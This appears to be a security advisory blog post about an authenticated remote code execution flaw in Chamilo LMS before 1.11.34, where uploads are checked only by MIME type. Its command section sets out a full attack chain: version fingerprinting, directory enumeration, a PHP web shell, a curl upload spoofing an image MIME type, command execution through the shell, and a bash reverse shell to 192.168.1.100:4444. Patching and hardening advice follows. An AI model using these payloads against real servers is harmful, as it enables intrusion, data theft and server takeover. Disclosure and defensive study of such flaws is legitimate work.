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Chamilo LMS prior to version 1.11.34 is vulnerable to an authenticated remote code execution attack due to improper validation of uploaded files. The application relies exclusively on MIME-type verification during file uploads, failing to validate file extensions or enforce secure server-side storage restrictions. An authenticated low-privileged user can exploit this by uploading a malicious file containing executable code, such as a PHP web shell. The server processes the file based on its misleading MIME type rather than its actual content or extension, storing it in a web-accessible directory. The attacker can then access the file directly via a web request, triggering the execution of the embedded code with the permissions of the web server. This allows the attacker to execute arbitrary system commands, effectively compromising the confidentiality, integrity, and availability of the server. The vulnerability stems from a classic unrestricted file upload weakness (CWE-434), and it has been addressed in version 1.11.34 by implementing proper file extension validation and secure storage mechanisms .
Platform: Chamilo LMS
Version: below 1.11.34
Vulnerability: Authenticated RCE
Severity: High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 8.8)
date: March 5, 2026
Prediction: Patched March 5
What Undercode Say:
Analytics (Commands & Codes)
Identify Chamilo version via changelog curl -s http://target.com/main/inc/lib/chamilo.inc.php | grep VERSION Enumerate accessible upload directories gobuster dir -u http://target.com/ -w /usr/share/wordlists/dirb/common.txt -x php -t 50 | grep -E "upload|document|files" Check for vulnerable MIME-only validation curl -X POST -F "[email protected];type=image/jpeg" http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported Simple PHP web shell payload cat > shell.php << 'EOF' <?php if(isset($_REQUEST['cmd'])){ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?> EOF Upload with crafted MIME (simulating authenticated session) curl -b "PHPSESSID=attacker_session" -F "[email protected];type=image/jpeg" http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported Access uploaded shell curl http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id Reverse shell one-liner (base64 encoded for upload) echo '<?php system("bash -c \'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\'"); ?>' > rev.php
How Exploit:
- Authenticate as low-privileged user (student) via login form.
- Identify upload endpoint handling big files, e.g., `/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported` .
- Craft payload: PHP file with system command execution, e.g., `` saved as
exploit.php. - Bypass MIME check: Upload with `Content-Type: image/jpeg` header while file is actually PHP.
- Locate uploaded file in predictable path, typically
/main/inc/lib/javascript/bigupload/files/exploit.php. - Trigger RCE by sending HTTP GET request to uploaded file with command parameter.
- Escalate to full server compromise via reverse shell or privilege escalation.
Protection from this CVE
- Immediate Patch: Upgrade to Chamilo LMS version 1.11.34 or later .
- File Validation: Implement multi-layer validation—check file extension, content magic bytes, and enforce whitelist of allowed types.
- Storage Security: Store uploads outside webroot with randomized filenames and serve via scripted download (readfile) not direct access.
- Disable Dangerous Endpoints: Remove or restrict access to legacy upload handlers like `bigUpload.php` if not required.
- WAF Rules: Block requests containing PHP code in file upload fields or suspicious `cmd` parameters.
Impact
Successful exploitation allows an authenticated low-privileged user to execute arbitrary commands on the underlying server with the privileges of the web server user (often www-data). This leads to full system compromise, including data theft (user credentials, course materials), website defacement, malware installation, and potential lateral movement within the internal network. The CVSS base score of 8.8 (High) reflects the low attack complexity, network vector, and high impact on confidentiality, integrity, and availability .
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Sources:
Reported By: nvd.nist.gov
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